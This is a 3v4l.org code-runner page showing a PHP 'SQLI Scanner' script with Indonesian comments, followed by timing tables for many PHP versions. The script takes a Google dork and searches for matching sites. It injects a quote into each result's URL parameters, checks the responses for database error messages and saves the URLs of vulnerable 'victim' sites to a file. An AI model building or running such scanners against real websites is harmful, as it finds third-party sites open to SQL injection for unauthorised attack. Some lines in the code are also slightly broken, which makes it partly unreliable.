3v4l.org

run code in 300+ PHP versions simultaneously
<?php **/Membuat Dan menentukan error query :D**/ $error[] = 'You have an error in your SQL'; $error[] = 'supplied argument is not a valid MySQL result resource in'; $error[] = 'Division by zero in'; $error[] = 'Call to a member function'; $error[] = 'Microsoft JET Database'; $error[] = 'ODBC Microsoft Access Driver'; $error[] = 'Microsoft OLE DB Provider for SQL Server'; $error[] = 'Unclosed quotation mark'; $error[] = 'Microsoft OLE DB Provider for Oracle'; $error[] = 'Incorrect syntax near'; $error[] = 'SQL query failed'; **/note: pada variable $error[] kalian bisa menambahkan error string lagi sesuka hati kalian**/ **/Membuat Function Let it by (tampilkan berdasarkan a-z pada web victim)**/ function letItBy(){ ob_flush(); flush(); } **/membuat function scan*/ function scan($query, $page=1) { $resultPerPage=8; $start = $page*$resultPerPage; $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPer Page}&start={$start}&q=" . urlencode($query); $resultFromGoogle = json_decode( http_get($url, true) ,true); if(isset($resultFromGoogle['responseStatus'])) { if($resultFromGoogle['responseStatus'] != '200') return false; if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false; else return $resultFromGoogle['responseData']['results']; } else die('The function <b>' . __FUNCTION__ . '</b> Kill me <br>' . $url ); } **/membuat function http_get**/ function http_get($url, $safemode = false){ if($safemode === true) sleep(1); $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close(); } **/membuat function sqli**/ function sqli($url) { $data = http_get(str_replace("=", "='", $url)); $errors = implode("|", $GLOBALS['error']); return preg_match("#{$errors} #i", $data); } ?> <!--membuat halaman html dan form untuk submit--> <html> <head> <title>SQLI Scanner by ./dcp92</title> </head> <body> <center>please enter dork:<br> <form method="post" name="pageform" action="" onsubmit="return validate(this);"> <input type="text" size="25" id="dcp92" name="sqli" value="<?php echo (isset($_POST['sqli'] {0})) ? htmlentities($_POST['sqli']) : 'inurl:/page.php?id='; ?>" /> <input type="submit" value="Start Scanning"> </form> </center> </body> </html> <?php if(isset($_POST['sqli']{0})){ echo "Scanning has been started, please wait a few minutes"; for($googlePage = 1; $googlePage <= 10; $googlePage++){ $googleResult = scan($_POST['sqli'], $googlePage); **/menampilkan jika scan sudah selesai**/ if(!$googleResult){ echo '<font color="red">google say: I not have more result. so, scanning done</font> '; break; } for($victim = 0; $victim < sizeof($googleResult); $victim++){ **/menampilkan jika sukses**/ if(sqli($googleResult[$victim]['unescapedUrl'])){ file_put_contents("sqli.txt", "{$googleResult[$victim]['unescapedUrl']}\n"); } else { **/menampilkan jika gagal**/ echo "<a href=\"{$googleResult[$victim]['unescapedUrl']}\" target='_blank'>{$googleResult [$victim]['titleNoFormatting']}</a>\n"; letItBy(); } } } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.340.0070.03212.01
5.4.320.0060.03712.50
5.4.310.0060.04012.49
5.4.300.0080.03912.50
5.4.290.0070.04212.49
5.4.280.0070.03712.39
5.4.270.0070.03712.39
5.4.260.0050.03812.39
5.4.250.0060.03712.39
5.4.240.0050.03612.39
5.4.230.0070.03612.38
5.4.220.0070.03612.38
5.4.210.0070.03412.38
5.4.200.0070.03612.38
5.4.190.0060.03812.38
5.4.180.0060.03512.38
5.4.170.0060.03912.38
5.4.160.0070.03512.38
5.4.150.0070.03412.38
5.4.140.0080.03812.07
5.4.130.0060.03912.05
5.4.120.0070.03512.01
5.4.110.0060.03512.01
5.4.100.0060.03512.01
5.4.90.0090.03512.01
5.4.80.0060.03812.01
5.4.70.0070.03412.00
5.4.60.0070.03612.00
5.4.50.0060.03512.01
5.4.40.0060.03312.00
5.4.30.0050.03711.99
5.4.20.0050.03711.99
5.4.10.0050.03511.99
5.4.00.0050.03611.49
5.3.290.0070.03812.80
5.3.280.0070.03612.71
5.3.270.0050.03912.72
5.3.260.0070.03812.72
5.3.250.0050.03712.72
5.3.240.0060.03812.72
5.3.230.0050.03812.71
5.3.220.0070.03512.68
5.3.210.0060.04312.68
5.3.200.0050.03712.68
5.3.190.0080.03812.68
5.3.180.0080.03612.67
5.3.170.0070.03412.67
5.3.160.0060.03912.67
5.3.150.0080.03412.67
5.3.140.0070.03412.66
5.3.130.0050.03812.66
5.3.120.0070.03712.66
5.3.110.0050.04012.66
5.3.100.0050.03812.12
5.3.90.0070.03812.08
5.3.80.0060.04012.07
5.3.70.0060.03512.07
5.3.60.0070.03712.06
5.3.50.0060.03512.00
5.3.40.0070.03712.00
5.3.30.0060.03711.95
5.3.20.0090.03411.73
5.3.10.0060.03611.70
5.3.00.0060.03511.68
5.2.170.0050.0309.19
5.2.160.0050.0289.18
5.2.150.0030.0319.19
5.2.140.0050.0329.18
5.2.130.0050.0299.14
5.2.120.0050.0279.14
5.2.110.0060.0319.15
5.2.100.0060.0269.15
5.2.90.0070.0289.15
5.2.80.0040.0309.14
5.2.70.0040.0309.14
5.2.60.0060.0289.09
5.2.50.0040.0299.06
5.2.40.0060.0279.04
5.2.30.0030.0329.02
5.2.20.0040.0339.01
5.2.10.0060.0288.93
5.2.00.0030.0318.78
5.1.60.0030.0258.07
5.1.50.0050.0258.07
5.1.40.0050.0268.05
5.1.30.0070.0298.40
5.1.20.0050.0278.42
5.1.10.0050.0248.14
5.1.00.0030.0268.14
5.0.50.0050.0196.63
5.0.40.0030.0216.48
5.0.30.0020.0336.30
5.0.20.0040.0196.27
5.0.10.0030.0196.24
5.0.00.0040.0296.23
4.4.90.0030.0144.78
4.4.80.0030.0144.75
4.4.70.0020.0164.76
4.4.60.0020.0154.75
4.4.50.0040.0154.77
4.4.40.0030.0264.71
4.4.30.0040.0164.76
4.4.20.0040.0164.84
4.4.10.0030.0154.85
4.4.00.0020.0254.76
4.3.110.0030.0154.67
4.3.100.0020.0164.67
4.3.90.0030.0144.63
4.3.80.0040.0234.58
4.3.70.0030.0144.63
4.3.60.0030.0144.63
4.3.50.0030.0174.63
4.3.40.0030.0244.53
4.3.30.0020.0163.29
4.3.20.0010.0163.26
4.3.10.0020.0153.23
4.3.00.0230.0177.56

preferences:
133.43 ms | 1394 KiB | 7 Q